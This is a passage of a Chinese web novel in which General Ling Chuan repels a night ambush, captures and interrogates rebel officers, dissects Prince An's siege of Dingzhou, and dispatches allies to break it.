杨铁匠微微颔首,浑浊的目光似穿透时光,看到了些许往事痕迹:“原来是代师收徒……难怪连这七星剑匣会在你手中!” 七星剑匣,乃是当今蜀山剑宗当代掌教萧剑离年少时行走江湖之物。匣中七剑,皆非凡品,曾响彻江湖。如今匣中七剑仅余其六,独缺那柄最具灵性的‘悲风’。 当年杨斗重名震天下之时,萧剑离还只是蜀山一个初露锋芒的年轻弟子。 两人年纪相差近二十岁,却于江湖中有过一面之缘。 彼时,杨斗重便对那位坚韧果决、锋芒无双的蜀山年轻一辈大弟子颇为欣赏,仿佛看到了自己年轻时的影子,并料定其必非池中之物。 事实也正如他所料,在他折剑隐退之后,萧剑离果然一步步登顶剑道之巅,终成执掌蜀山剑宗,成为当世公认的剑道魁首。 杨斗重不再多言,转身缓步离开正堂,佝偻的背影消失在门外的黑暗中。 刚一回到自己的马车旁,他身形便是一个踉跄,猛地用手捂住嘴,一阵剧烈的咳嗽后,指缝间渗出暗红的血迹。 他强行将翻涌的气血压下,颤巍巍地取下腰间的酒葫芦,猛灌了一大口烈性狼血,将那口腥甜硬生生冲咽了下去。 正堂内,那名女子见逃生无望,眼中闪过决绝,猛地一咬口中毒囊,身体软软倒地,顷刻间便没了声息。 众人刚松一口气,以为风波暂平,庄园外却骤然传来密集如雷的马蹄声。 其间更夹杂着大量金属甲叶碰撞的铿锵之音,由远及近,如同潮水般从三面涌来,迅速将岊湬阁合围! “敌袭!亲兵队——列阵!”苍蝇的吼声瞬间划破夜空。 所有亲兵反应极快,如臂使指,迅速从堂内撤出,在外围组成防御阵型。 凌川深吸一口气,强撑着起身来到门外。 放眼望去,只见远处火把连绵,宛如一条条扭动的火蛇,将庄园三面照得亮如白昼。 火光下,密密麻麻的士兵盔明甲亮,刀枪如林,反射出冰冷慑人的寒光,数量远超己方。 “将军!敌军数量约莫一千五百人,身份不明!”苍蝇快步来到凌川身前,语速极快地禀报,脸色凝重。 “披甲!”凌川声音低沉,却带着不容置疑的决断。 “将军,您的身体……”苍蝇满脸忧色。 “无妨!”凌川摆手打断他。 很快,两名亲兵取来了凌川那副亮银铠甲和长枪破殇锋,四百余名亲兵已列阵完毕,刀出鞘,弩上弦,沉默中透着一股百战老兵特有的肃杀之气。 凌川迅速下令,命苍蝇、沈珏、孟钊三名队长各镇守一方。虽兵力处于绝对劣势,但依托庄园地势结阵而守,对方想要攻进来也绝非易事。 “凌川!你已被重重包围插翅难逃!识相的就乖乖束手就擒!”一声嚣张的大喊从敌方阵中传来。 身旁的神箭手聂星寒当即挽弓欲射,却被凌川抬手制止。 他目光如炬,试图穿透火光看清来人:“藏头露尾!阁下报上名来!” “哈哈哈哈……”对方发出一阵狂妄大笑,“我是谁你不必知道!你只需要明白,这岊湬阁,就是你的葬身之地!” 凌川隐约看到对方阵中一名四十岁上下、中等身材的将领身影,细节却难以分辨。 “想要我凌川项上人头的人很多!”凌川声音冷冽,传遍四方,“不过他们中的绝大多数,都已经死了!此刻我身后的堂内,就躺着不少!” “死到临头还敢嘴硬!睁大你的眼睛看看!就凭你这区区几百人,能扛得住几轮冲锋?”那声音充满了嘲讽。 “既然如此,那便……战吧!”凌川根本不屑与之做口舌之争,既是敌人,唯有一战! 第一卷 第367章 遭受围攻! 话音未落,聂星寒早已蓄势待发的弓弦骤然松开! “咻……” 一支铁箭撕裂空气,发出凄厉的尖啸,直取两百步外那将领的咽喉! 然而对方显然早有防备,几面厚重的盾牌瞬间并拢,‘当’的一声巨响,将那致命一箭挡下。 “给我杀!一个不留!杀敌一人,赏十两!取凌川首级者,赏银千两!”那将领躲在后阵,声嘶力竭地怒吼。 “杀啊!” 霎时间,四面八方响起震耳欲聋的喊杀声!黑压压的敌军如同决堤的洪水,朝着庄园疯狂涌来! 岊湬阁三面地势相对开阔,背靠大山,无险可守,所幸对方大多为步兵,骑兵并不多,或许碍于地形,并未第一时间投入冲锋。 “冲啊!” 敌人的嚎叫声一浪高过一浪。 四百余亲兵组成的弧形防御阵线如同磐石,沉默地屹立在浪潮之前,他们手中的破甲弓已然满弦,冰冷的箭镞对准了汹涌而来的敌人。 苍蝇锐利的目光紧盯着冲来的敌军,待对方靠近百步之后,他果断下令:“放箭!” 弓弦齐声震鸣! 下一刻,一片密集的铁矢如同蜂群,带着令人心悸的破空声,猛然扑入冲锋的敌阵之中! “噗嗤……啊……” 箭矢贯穿皮肉、撕裂铠甲的可怕声响与凄厉的惨叫声瞬间交织在一起。 冲在最前方的敌军如同被割倒的麦子,成片地倒下,仅仅一轮齐射,便让敌军付出了上百人的伤亡! 这恐怖高效的杀伤力,瞬间震慑了后续的敌军,冲锋的势头为之一滞,许多士兵面露恐惧,下意识地想要后退。 “怯战后退者,杀无赦!”那将领见状,厉声咆哮,竟亲自张弓,一箭将一名后退的士兵射杀当场。 但他也明白,如此蛮冲只是送死,立刻改变策略:“弓箭手!前出!给老子压制住他们!” 大批敌方弓箭手快步上前,试图以箭雨覆盖亲兵阵地。 然而,他们手中的步弓无论是射程、力道还是精准度,都无法与云州军标配的破甲强弓相提并论。 几轮稀稀拉拉的抛射,绝大多数箭矢都软绵绵地落在了阵前数十步的空地上,寥寥几支飞入阵中的,也被亲兵用盾牌轻易挡开。 “废物!”那将领气得大骂,只得再次变招,“骑兵队!给老子冲垮他们的阵型!弓箭手跟在骑兵后面推进!” 轰隆隆…… 马蹄声开始响起,在这黑夜之中更为沉重,百余骑终于开始整列队形,虽然数量不多,但在这相对狭窄的战场上发起冲锋,对于步兵阵线而言,依然是致命的威胁。 站在石阶上的凌川听到这闷雷般的蹄声,脸色骤然一变:“不好!对方骑兵出动了!” 亲兵营虽也有战马,但此刻场地受限,根本无法组织有效的骑兵反冲击。 若分兵骑战,本就薄弱的防线顷刻间便会被步兵冲垮,破甲弓虽利,但面对高速冲锋的骑兵,拦截效率将大幅下降,更何况他们的破甲箭,也已经所剩不多了。 “将军,对方骑兵只有一百余!”聂星寒凝目望去,快速回报。 凌川目光如电,飞速扫过战场,脑中急速推演。 眼前的危局,远比方才的刺杀更加凶险万分,被动固守,一旦箭矢耗尽,必将被敌军吞没。 “孟钊!” “属下在!”孟钊立刻抱拳应道。 “点五十名弟兄,备马,随我冲阵破敌!”凌川的声音斩钉截铁,不容置疑。 孟钊仅是略微一怔,随即慨然领命:“得令!” 很快,凌川翻身上了神骏的黑风,手中那银枪破殇锋在火光照映下闪烁着冰冷的寒芒,他勒马立于队伍最前,虽面色依旧苍白,但脊梁挺得笔直,自有一股凛然威势。 身后,是孟钊精心挑选的五十名精锐亲兵,人人手持战刀,面色肃杀,沉默中酝酿着风暴。 就在这时,那名扎着冲天辫的蜀山少年与眉目清秀的小和尚也各自跃上战马,一左一右,默契地来到凌川两侧。 “将军,俺跟你一块去!”一声粗犷如闷雷的吼声传来,只见翠花竟也骑着一匹高头大马奔来。 她不知从何处拆来一根大腿般粗细的巨大原木,就那么轻松写意地扛在宽阔的肩上,视觉冲击力极其骇人。 凌川正欲开口让她回去保护苏璃,翠花却抢先瓮声瓮气地说道:“夫人说了,这次得听她的!” 显然是苏璃深知凌川身体状况,特意派她前来保护凌川。 “冲!” 对面敌阵中传来一声号令,百余骑兵开始加速,铁蹄叩击大地,发出沉闷而令人心悸的隆隆声。双方距离本就不远,骑兵冲锋,转瞬即至! “放箭!” 几乎在同一时间,苍蝇冷静的命令响起,亲兵们将所剩无几的珍贵破甲箭尽数倾泻而出。 箭雨呼啸,尽管敌军前排骑兵举盾防护,但骑兵圆盾面积有限,无法护住全身。 顿时,锋利的箭镞贯穿铠甲,甚至射中战马,凄厉的惨嚎与战马的悲嘶瞬间响彻战场。 就在这箭雨稍歇、敌阵微乱的刹那,凌川手中破殇锋猛然前指,发出一声怒吼。 “杀!” “杀!!”身后五十亲兵齐声咆哮,声浪却硬生生被翠花那粗犷吼声所盖过。 黑风似与主人心意相通,长嘶一声,如离弦之箭般狂飙而出。 对面敌将显然没料到凌川竟敢在绝对劣势下主动出击,更亲自率队反冲骑兵,他先是一愣,随即脸上露出狰狞而残忍的笑容:“凌川!你这是自寻死路!给我集中力量,杀了凌川!” 下一刻,钢铁洪流猛烈对撞! 凌川一马当先,破殇枪如毒龙出洞,挟着尖锐的破空声,噗的一声,轻易洞穿了一名敌骑手中的蒙皮铁盾,随后余势不减,直接将那名骑兵捅了个对穿。 而真正撼动整个战场的,是翠花! 只听一连串的沉闷声响传来,翠花发出一声怒吼,双臂肌肉虬结,抡起那根足有两丈多长的木头,宛如旋风般横扫而出。 冲到她面前的十多名骑兵,竟如同稻草人般,成排被扫飞出去。 沉重的战马哀鸣着侧翻倒地,又将后方更多的骑兵绊倒撞翻。 第一卷 第368章 万人敌翠花! 仅仅一击,翠花硬生生用蛮力打断了敌军骑兵冲锋的阵型,制造出一片巨大的混乱。 这非人般的骇人神力,让敌我双方所有目睹此景的人,无不骇然失色,倒吸凉气。 就连蜀山剑宗的少年和空观寺小和尚这两位江湖高手,也都被这一幕震惊得长大了嘴巴,这应该就是传说中的沙场万人敌吧! “杀……” 凌川抓住这千载良机,率领队伍径直杀入混乱的敌阵。 原本一百五十余骑,先遭箭雨洗礼,再被翠花这石破天惊的一击打乱阵脚,面对凌川这支精锐小队的决死冲杀,根本组织不起有效抵抗。 “嗤嗤嗤……” 苍生刀破开身体的可怕声响接连响起。 凌川一杆长枪舞得虎虎生风,刺、挑、扫、砸……简单凌厉的战场枪术在他手中体现得淋漓尽致。 更让他惊喜的是,自从气海内那缕先天真气被激活,他的力量、速度和对兵器的掌控都跃升了一个层次,手中这四十九斤的破殇锋变得前所未有的轻盈与得心应手。 片刻之间,这支锐不可当的小队竟已将敌军骑兵阵型彻底杀穿,身后留下一地狼藉的尸首与哀嚎的伤兵,敌方骑兵仅剩不足五十骑。 然,凌川的脚步并未停下,他甚至没有去冲击步卒,而是再次加速,目光死死锁定了远处那名敌军主将的方位,径直冲了上去。 “都尉大人!他…他们冲我们来了!”主将身旁,一名亲兵惊恐地叫道。 那都尉此刻才从极度的震惊中回过神来,眼睁睁看着自己的一百五十精骑竟如此不堪一击,让他难以接受,此时的他,才算真正见识到凌川这支队伍的恐怖。 不愧是在关外杀出赫赫威名的边军悍卒,虽然只有五十骑,但所展现出的战力,却堪称恐怖。 见凌川如猛虎般直扑自己而来,他瞳孔顿时一缩,心中陡然生出一股浓烈的不安。 “快!命令所有部队,放弃攻击庄园!全部围上去,给我咬死凌川!”都尉声嘶力竭地大吼,只要杀了凌川,便是大功一件。 然而,他身边的传令兵刚举起令旗…… 咻! 一支铁箭,如同死神的亲吻,精准无比地洞穿了传令兵的咽喉!鲜血喷溅,令旗坠落。 此时,凌川率领的五十余骑,距离中军已不足百步! “该小爷我了!”那蜀山少年清喝一声,反手一拍身后剑匣底部。 “锵!” 剑匣机括弹开,六柄形态各异、寒光四射的长剑嗡鸣着飞射而出,悬于半空。 “去!”少年剑指一并,向前疾点。 六把飞剑如同被赋予了生命,化作六道索命流光,疾射入前方试图结阵阻挡的敌兵群中! “噗噗噗……” 利刃切过肉体的声音接连响起,数名敌兵瞬间倒地! 然而,周围的敌军步兵正如潮水般从四面八方合围过来,试图将凌川这支小队彻底淹没。 “吼!”翠花再次发出怒吼,如同女战神降世,手中那根骇人的巨木再次抡圆横扫! “砰!咔嚓……” 又是一片人仰马翻,骨头碎裂的声响清晰可闻,她硬生生为队伍扫清了一片前进的空间。 “弓箭手!快!射死他们!”那都尉惊骇欲绝,厉声尖叫。 数十名弓箭手仓促列队,张弓搭箭,一片箭雨朝着冲锋在前的凌川罩去。 千钧一发之际,那小和尚身形一晃,竟轻飘飘地站立于马鞍之上,双手合十,稚嫩的面容宝相庄严。 “阿弥陀佛!” 道道柔和却坚韧的金光自他体表弥漫而出,迅速在前方凝聚成一面半透明的淡金色光墙。 叮叮当当…… 数十支箭矢尽数被这金光佛墙挡下,无力坠落。 “杀啊!!!” 就在此时,战场侧后方,震天的喊杀声与更加沉重密集的马蹄声如雷鸣般骤然响起,迅速迫近! 那敌军都尉浑身猛地一颤,急忙扭头望去,只见黑暗之中不时闪过道道寒芒。 对方虽未打火把,但藉着微弱的月光和战场火光,能清晰看到一支规模不小的骑兵部队,正以雷霆万钧之势,朝着他的后军侧翼猛冲过来。 一个让他亡魂皆冒的念头瞬间闯入脑海。 “不…不可能!洛青云那五百骑应该早就被吃掉了才对!怎么可能出现在这里?” 来人不是别人,正是率领五百精骑疾驰回援的洛青云。 这支生力军如决堤洪流般涌入战场,沉重的马蹄声震得大地微微颤动,洛青云一马当先,手中马槊化作银蛇出洞,精准地刺穿一名敌兵头领的咽喉,带出一蓬温热的血花。 守在庄园内的苍蝇见状,眼中精光一闪,当即把握战机,怒喝道:“随我杀上去!” 蓄势已久的亲兵们如饿虎扑食般冲出,内外夹击之下,敌军阵型顿时土崩瓦解。 残存的近千敌军眼见大势已去,纷纷丢弃兵刃,跪地求饶。 与此同时,凌川亲率的五十人精锐如一把尖刀,直插敌军心脏,杀至那都尉跟前。 “保护将军!”都尉的亲兵队长声嘶力竭地呐喊,残存的数十亲兵勉强结成一个脆弱的圆阵。 然而在凌川这支精锐面前,这等抵抗犹如纸糊的窗户。 六道凌厉的剑光破空而至,带着尖锐的呼啸声,精准地撕裂了亲兵阵型。 翠花发出一声震耳欲聋的怒吼,双臂肌肉仿佛要将铠甲撑爆一般,那根沉重的巨木带着万钧之势横扫而出,顿时将十余名亲兵如断线风筝般击飞。 这一击威势惊人,却也让她胯下的战马发出一声哀鸣,前蹄一软,口吐白沫地瘫倒在地,这匹战马能驮着她冲锋这么久,已经是拼尽全力了。 那都尉见最后屏障也被摧毁,脸色煞白,慌忙调转马头欲逃。 就在此时,弓弦震响,一支利箭带着死亡的气息破空而来,精准地射穿马腿。 战马发出一声凄厉的悲鸣,轰然倒地,那名都尉被狠狠摔在冰冷的地上,扬起一片尘土。 他还未挣扎着爬起,一杆寒芒流转的长枪已经抵住他的咽喉。 在火光映射下,淡金色枪尖之上,一道道赤色纹路如血脉流转,散发着令人心悸的寒意。 都尉艰难地抬头望去,只见凌川端坐马背,冷眼俯视,那双深邃的眼眸中不见丝毫波澜,只有冰冷的杀意。 “就这点本事,也敢来取我性命?”凌川的声音不大,却冰冷异常,语气中的轻蔑让那都尉羞愧到无地自容。 孟钊不等战马停稳便一跃而下,手法利落地卸了都尉双臂关节,随后又将其下巴卸掉,彻底杜绝了自尽的可能。 主将被擒,残兵们最后一丝斗志也随之瓦解,纷纷弃械投降。 洛青云与苍蝇迅速带人控制局面,收缴兵器,捆绑俘虏,这场惊心动魄的交锋,就此落幕。 第一卷 第369章 定州被围! 岊湬阁正堂里,烛火摇曳不定,将人影拉得忽长忽短。 两名被五花大绑的将领被押了进来,铁甲早已被卸下,只穿着单薄的里衣,其中一人是刚被擒下的都尉龚纪良,另一人则是之前在官道上演了一出好戏的校尉谢允。 两人跪在冰冷的地面上,垂着头一言不发。 其实今日白天在官道上撞见谢允那出苦肉戏的时候,凌川心里就跟明镜似的。倒不是他能掐会算,而是在进入定州地界之前,他就已经接到了密报,对定州的局势有些了解。 面对谢允那番声情并茂的表演,凌川选择了将计就计,并顺势干掉那一百骑。 他深知,与其让敌人一直躲在暗处,需要时时提防,还不如主动卖个破绽,引蛇出洞。 所以洛青云带兵跟随谢允前去‘救人’,以及之后入住岊湬阁,都是凌川故意顺着对方的布置来。 在跟随谢允前往那座所谓关押着定州将领家眷的庄园途中,洛青云突然发难,将其轻松擒下。经过一番审讯才得知,许知白根本就没有造反,造反者另有其人。 谢允口中那座庄园四周早已布下重兵,就等着洛青云这五百骑自投罗网。 洛青云当机立断,从谢允口中撬出了伏兵部署,发现三路伏兵每路只有五百人。 他果断出击,以迅雷不及掩耳之势歼灭了其中一路,而后毫不恋战,立即撤离战场,火速赶回岊湬阁。 事实上,以他麾下这近五百精骑的战斗力,完全有能力将三路伏兵逐个击破,但他深知保护凌川的安全才是第一职责。歼灭一路伏兵既不会影响大局,也能给敌人一个严厉的警告。 回到庄园后,凌川第一件事就是快步走向那辆马车,只见杨铁匠歪靠在车柱上,双目紧闭,一动不动,凌川内心不由得为之一紧,他连忙伸手探到对方鼻子跟前。 “还好,有气儿!”凌川长松了一口气。 谁知杨铁匠连眼睛都懒得睁开,抬脚就踹了过来:“臭小子,就巴不得老夫断气是吧?” 凌川嘿嘿一笑,灵活地侧身躲开:“哪能啊!这一路还要仰仗您这位剑神保驾护航呢!” “少来这套!”杨铁匠有气无力地摆摆手,“为了帮你炼化屠夫的杀气,老夫已经耗尽了大量的真气与心神,刚才那一剑,更是元气大伤。现在我就是个空架子,你别指望我了。” 凌川看得出来,杨铁匠确实损耗不小,他那头白发比之前更加花白,整个人也透着一股说不出的疲惫。 但要说今日这一剑就掏空了他的身子,凌川是断然不信的,若是横压江湖的一代剑神如此不堪一击,那这个江湖未免也太名不副实了。 不过回想起刚才杨铁匠斩杀蛇王的那一剑,凌川至今心潮难平,那一剑看似轻描淡写,实则大巧不工、返璞归真,其中蕴含的剑意已经到了登峰造极的境界。 若不是将剑道领悟到了极致,绝不可能在举手投足间爆发出如此惊世骇俗的威力。 见杨铁匠这般虚弱,凌川关切地问道:“杨师傅,要不我让人给您弄点大补药,好好补补?” 杨铁匠白了他一眼,没好气地哼道:“一边待着去!” 见他还有力气骂人,凌川知道问题不大,笑呵呵地转身离开,隐约听见身后传来一声嘟囔:“真是劳碌命啊……” 此时苏璃已经回到马车里休息,洛青云正在整编队伍和打扫战场,至于那数百名俘虏,全都被捆得结结实实,关押在庄园的其他房间里。 正堂之中,只有苍蝇、孟钊和几名亲兵留守,龚纪良和谢允已经被剥去甲胄,跪在中央。 见凌川走进来,苍蝇立即迎上前去,压低声音说道:“将军,审问了半天,这俩滚刀肉一个字都不肯透露。要不要把他们交给余乐和王麻子?” 凌川没有直接回答,而是反问道:“咱们损失了多少弟兄?” “这次折了三个兄弟,二十多人轻伤。老洛那边……没了七八个。”苍蝇的语气沉重了几分。 凌川深吸一口气,目光中闪过一丝痛色:“回头把弟兄们的遗体带上,等到定州再另行安顿。” “明白!”苍蝇郑重地点头。 凌川走到主位前坐下,目光冷冷地扫过跪在地上的两人:“我最后给你们一次机会,说,还是不说?” 两人总算见识到了这位从北疆杀出来的传奇人物的可怕之处,无论是谋略还是实力,都让人胆寒。 龚纪良缓缓抬起头,与凌川对视一眼后又迅速低下目光,哑声说道:“落到你手里,我认栽。说了是死,不说……或许还能给家人争一条活路。” 凌川点了点头,随即看向谢允:“你呢?” 谢允始终低着头,一言不发。 “其实,你们说不说,对我而言都没那么重要!”凌川语气平淡,“而且我敢断定,你们知道的内情,未必有我多。” 两人同时一震,猛地抬起头看向凌川,眼中满是惊疑。 “不信?”凌川嘴角勾起一抹冷笑,“我刚踏入定州地界就已经知道,所谓叛乱根本就不是定州主将许知白所为,而是你们背后那位主子——安王!” 安王二字一出,两人的脸色顿时惨白如纸。 “安王收买了定州军中的部分将领,想要神不知鬼不觉地除掉主将许知白,然后里应外合占据定州城。只是他没想到许知白竟然识破了他的计划,先发制人将他收买的将领尽数除掉,让你们功亏一篑!” “如果我没猜错的话,此时你们的队伍已经将定州城团团围住。虽说许知白据城而守,但安王几乎收买了定州下辖的所有县兵,在兵力上占据优势。不过,若是僵持下去,等到其他地方援军赶到,你们必败无疑!” 两人越听越是心惊,没想到凌川尚未抵达定州,竟对局势了如指掌。 “你们在各处设卡,截下了许知白送出去的所有求援密信,却没想到我这个前往神都复命的北疆将领会闯进来。于是你们将计就计,先是用苦肉计骗取我的信任,再颠倒黑白,将许知白说成叛军,想引我去攻打定州。不管结果如何,我这一举动都等于和安王的叛军绑在了一条船上,到时候百口莫辩。若不是我早有准备,还真要被你们当枪使了!” 第一卷 第370章 用兵行家 凌川顿了顿,目光如刀锋般扫过两人:“现在你们还觉得,自己知道的那点信息很重要吗?” 两人面如死灰,颤声问道:“如果我们交代……能换一条活路吗?” 凌川冷笑一声,摇了摇头:“先不说你们跟随安王造反本就是灭族大罪,光是我那十几名弟兄的性命,就不能白丢。” 他站起身,朝门外走去,只留下一句冰冷的话:“老实交代,我可以让人给你们一个痛快!” 剩下的,交给苍蝇就够了。 龚纪良和谢允对视一眼,都在对方眼中看到了绝望,二人内心明了,此次断无生路。 次日清晨,阳光勉强穿透薄雾,洒在岊湬阁残破的院落中。 昨夜激战的痕迹仍处处可见,虽然尸体已被清理,但地面上深褐色的血迹斑斑驳驳,折断的兵刃和碎裂的瓦砾散落四处,空气中弥漫着一股若有若无的血腥味。 凌川并未急于起程,反而下令全军继续在岊湬阁驻扎休整,此刻他独自站在正堂中央,眉头紧锁,目光在地图上来回扫视。 就在他沉思之时,一阵脚步声由远及近,苍蝇和洛青云等人快步走了进来,铠甲摩擦发出清脆的声响。 “将军,两人都招了!”苍蝇将一张墨迹未干的草图呈到凌川面前,纸张上还沾着些许血渍,“这是从他们口中审出的安王兵力详细布置!” 凌川接过那张墨迹未干的草图,目光如炬,迅速将其与展开那幅详尽的定州地域图进行比对。 他的手指沿着草图上的标记与地图上的山川河流、城池官道一一划过,神色由最初的审视逐渐转为凝重,最终化为一声低沉却难掩震惊的叹息: “看来,安王身边,确有精通兵法的能人坐镇!此人对围城战法的运用,可谓深得其中三昧,绝非寻常将领可比!” 洛青云闻言,眉头紧锁,上前一步仔细看向地图,疑惑道:“将军何出此言?观此草图,叛军不过是分兵驻守,将定州城围住而已,似乎并无太多奇特之处!” “只看其形,自然觉得平平无奇!”凌川摇了摇头,手指重重地点在定州城的位置,声音异常沉静,“但若深究其质,剖析其内在的布局逻辑,便可发现,这是一个极其老辣阴狠的长围久困之局,深得兵法困城、绝援、疲敌之精要!” 他的手指开始在地图上快速而准确地移动,仿佛一位经验丰富的猎手在剖析猎物的陷阱: “其一,深沟高垒,锁死八方,绝其外援!”凌川的手指划过定州城外围一道无形的圆圈,“叛军绝非简单扎营。各营寨之间距离考究,互为犄角,巡逻严密。这已构建了一道坚实的对外防线,不仅彻底切断了定州城与外界的联系,更有效防备了外部援军的突袭。此乃兵法中的‘衢地合交,重地则掠’中演变而来,先绝其外援,固其围势。” 他稍作停顿,让众人消化,随即手指移向永定河与城东区域。 “其二,控制水道,扼守粮道,绝其生机!”他的手指重点落在蜿蜒的永定河与城东的定州大仓。“永定河乃定州命脉,叛军以重兵控制上下游所有渡口、水闸,彻底断绝了城内的稳定水源补给。城外十里处的定州大仓,粮秣堆积,却可望不可及。城内数万军民,仅靠浅井取水,储粮必日渐消耗。一旦井水不足,粮尽水绝,军心民心顷刻瓦解。此乃‘绝其粮道,守其归路’,多则半月、少则数日,城内必生内乱!” 最后,他的手指重重敲在地图东南方向。 “其三,围三阙一,暗藏杀机,诱敌歼之!”凌川的声音带着冷冽,“看此处!东南青陂口,叛军布防故意示弱,仿佛留出了一个突围缺口。此乃兵法‘围师必阙’之策,实为最致命的陷阱!” 凌川指节重重扣在桌上,用肯定的语气说道:“我料定,在此缺口之后险要处,叛军必埋伏了重兵。一旦许知白迫于压力或误判形势,率军从此突围,叛军伏兵尽起,截断归路,守军主力必遭毁灭性打击,定州城不攻自破。此计阴狠,深得‘能而示之不能,用而示之不用’之精髓!” 听凌川抽丝剥茧,将对方布局剖析得如此透彻,洛青云、苍蝇等将领方才恍然大悟,背脊不禁生出一股寒意。这看似普通的围城,竟环环相扣,步步杀机! “可曾查明,安王麾下主持此次围城的具体是何人?”凌川沉声问道,目光依旧紧盯着地图。 “查到主将叫范旗山,但据查此人用兵向来中规中矩,应该没有此等缜密狠辣的布局能力!” 凌川缓缓点头:“如此看来,安王身边,定然另有高人!一位真正精通韬略、深谙兵法、且心狠手辣的能人在暗中指挥调度,范旗山,不过是个摆在台前的幌子罢了!” “将军,咱们要不要出兵援救定州?”洛青云急切地问道。 凌川轻叹一口气,揉了揉眉心。 虽说安王想借刀杀人,让他去攻打定州,从而被迫与其绑在一起,但就眼下局面而言,他这一千兵力就算全员出动,在没有辎重的情况下,想要破解定州之围也几乎是不可能的事情。 更重要的是,凌川根本不知道定州城内现在是什么情况,许知白那一万兵力还剩下多少战斗力,粮草还能支撑多久。 “传令下去,全军先原地休整,静观其变!”凌川最终下令道。 众人领命离去后,凌川依旧独坐正堂,手指无意识地敲击着桌面,沉思另一个问题。 蛇王带领的幽灵殿杀手潜入中原,定是冲他而来。但他们偏偏在这个时间、这个地点动手,是早与安王暗通款曲,还是说两方势力先后出现,只是一个巧合? 不仅如此,凌川还想到了之前的雾松林截杀,那些血衣堂杀手,又与安王有没有关系?安王起兵欲夺取定州这背后,跟自己回神都有没有关联? 就在凌川左右为难之际,一阵轻柔的脚步声打断了他的思绪。 苏璃轻盈地走进正堂,见他眉头紧锁,便柔声问道:“相公为何事如此烦恼?” 第一卷 第371章 沈七岁! 凌川轻叹一声,将心中忧虑道出:“安王造反,定州被围,按理说与我们并无直接关系。但就眼下情况来看,定州城内粮草恐怕已经见底,外面却被围得水泄不通,求援消息根本传不出去。等周边各地反应过来,派兵来援时,定州恐怕早已是一座死城了!” 苏璃在他身边坐下,为他斟上一杯热茶,凝视着他问道:“其实,相公真正担心的是定州城中那十万无辜百姓,对吗?” 凌川剑眉微挑,心中感慨苏璃果然是最了解他的人。 “是啊!百姓何其无辜!”他接过茶杯,语气沉重,“安王围而不攻,明显是知道城中缺粮,到时候,便可不费一兵一卒拿下定州。若真到了那一步,城中士兵手持兵器或许还能抢夺食物,而普通百姓们就只能活活饿死,甚至……”凌川声音低沉,没有再说下去。 真要到了那种局面,每个人内心的恶都会被释放出来,人性最丑陋的一面将暴露无遗。历史上,被围困到矢尽粮绝时以人为食的惨剧比比皆是,这也是凌川最不愿看到的。 “我虽有心救援定州,奈何兵力有限。这一千兵力非但解不了定州之围,反而会让自己深陷其中!”眼下,凌川确实是有心无力。在巨大的兵力悬殊下,任何妙计都显得苍白。 “相公真是当局者迷!”苏璃浅浅一笑,眼中闪着智慧的光芒,“莫非你忘了,你可是陛下钦封的镇北将军!” 凌川先是一愣,随即猛然醒悟,一把攥住腰间的镇北将军令牌,激动地说道:“要不是娘子提醒,我真把这茬给忘了!” 当初圣旨上写得清清楚楚,凭此令牌可在神都之外的任何地方调动三千兵马,任何人不得抗令! 凌川再次将目光投向地图,手指在地图上快速移动,脑海中飞速运转。仅用片刻时间,一个计划的雏形已然在他心中成形。 凌川将苍蝇、洛青云等将领召集过来,还让人将那位扎着冲天辫的蜀山剑宗少年以及小和尚请了过来。 不多时,众人齐聚正堂,凌川目光扫过在场每一个人,开门见山地说道:“我决定要解定州之围!” 听闻此言,无论是久经沙场的洛青云、苍蝇,还是沉稳如孟钊,皆露出震惊之色。 他们并非惊讶于凌川会做这个决定,而是震惊于他在这么短的时间内就想出了破敌之策。 他们跟随凌川已久,深知自家将军的行事作风,若不是已经有了完整计划,绝不会直接下达命令,而是会召集众人商议。 “定州城内被困的不仅是一万定州军,还有十多万无辜百姓!”凌川声音低沉,目光扫过众人,带着沉重的压力,“他们缺水少粮,照此下去,当所有人都没有吃的之后,会发生什么,不用我说,你们也知道!” “吃人!”孟钊吐出两个字,每个字都沉重无比,让在场所有人都不禁打了个寒颤。 “按理说,咱们是北境边军,定州城的事与咱们并无直接关系。”凌川继续说道,声音逐渐提高,“但咱们守护的不仅是边关国门,还有天下百姓!尽管我心里清楚,此战或许会让很多兄弟送命,但我还是决定出兵!” 他的声音铿锵有力,语气坚定不容置疑:“因为我凌川,做不到眼睁睁看着十多万百姓活活饿死!” “将军,下令吧!”苍蝇摩拳擦掌,跃跃欲试,“弟兄们没有一个怕死的!” 凌川取下镇北将军令牌,递给孟钊:“孟钊,你亲自去一趟百里之外的铁瓮关,出示此令牌,令守关将领率三千轻骑,明日午时之前必须赶到定州城东的堰雪镇!不容有失!” “属下遵命!”孟钊接过令牌,转身大步离去,铠甲铿锵作响。 紧接着,凌川向苍蝇问道:“谢允和龚纪良处置了吗?” “已经处决了!”苍蝇回答道。 “那些俘虏呢?还有多少人?” “大约七八百人,都关在后院,由重兵看守!”苍蝇如数回答。 “之前从龚纪良和谢允二人口中得知,安王虽然控制了定州城外所有县兵,但并非所有人都愿意跟着他造反。”凌川目光锐利,继续说道: “那些不同意造反的县兵校尉都被安王的人干掉了,然后换上了自己的人执掌队伍。你俩从那些俘虏中进一步获取详细信息,今晚开始行动,干掉安王的人,将队伍重新聚拢起来!” “明白!”二人抱拳领命,眼中闪着兴奋的光芒。 紧接着,凌川将目光转向扎着冲天辫的蜀山少年和小和尚:“两位少侠,我这里有一项艰巨任务,只能劳烦你们了!” “将军不用客气!”少年拍着胸脯说道,辫子随着动作轻轻摇晃,“只要是小爷办得到的,定义不容辞!” “我这里有一封密信!”凌川从怀中取出一封火漆封口的密信,神情严肃,“需要送到定州城内,亲自交到许知白将军手中!” “放心,此事包在我身上!”少年接过信件,自信满满地塞入怀中。 “如今定州城外到处都是叛军,整座城池被围得水泄不通,此行必是危机重重……”凌川叮嘱道,眼中略显担忧。 谁知对方淡然一笑,露出一排洁白的牙齿:“将军放心,我虽不敢说在万军中来去自如,但想要突破叛军的封锁进入定州城,也并非什么难事!” “此事关乎定州一万守军和十多万百姓的生死存亡,还望少侠务必谨慎,以苍生为重!”凌川起身,郑重地抱拳行礼。 少年见状,也收敛了玩笑神色,正色道:“我叫沈七岁!虽不及将军这般心怀天下,但蜀山弟子身上从不缺傲骨,胸中也从不缺正气!”说完,他背起剑匣,又看向小和尚。 “二驴,你留在这里保护将军,我自己去就行了!” 小和尚满脸担忧,双手合十:“阿弥陀佛,你可一定要活着回来啊!小僧的往生咒念得还不熟悉,超度不了人!” 第一卷 第372章 深夜袭营 “呸呸呸……你胡说八道什么?”沈七岁敲了敲小和尚的光头。 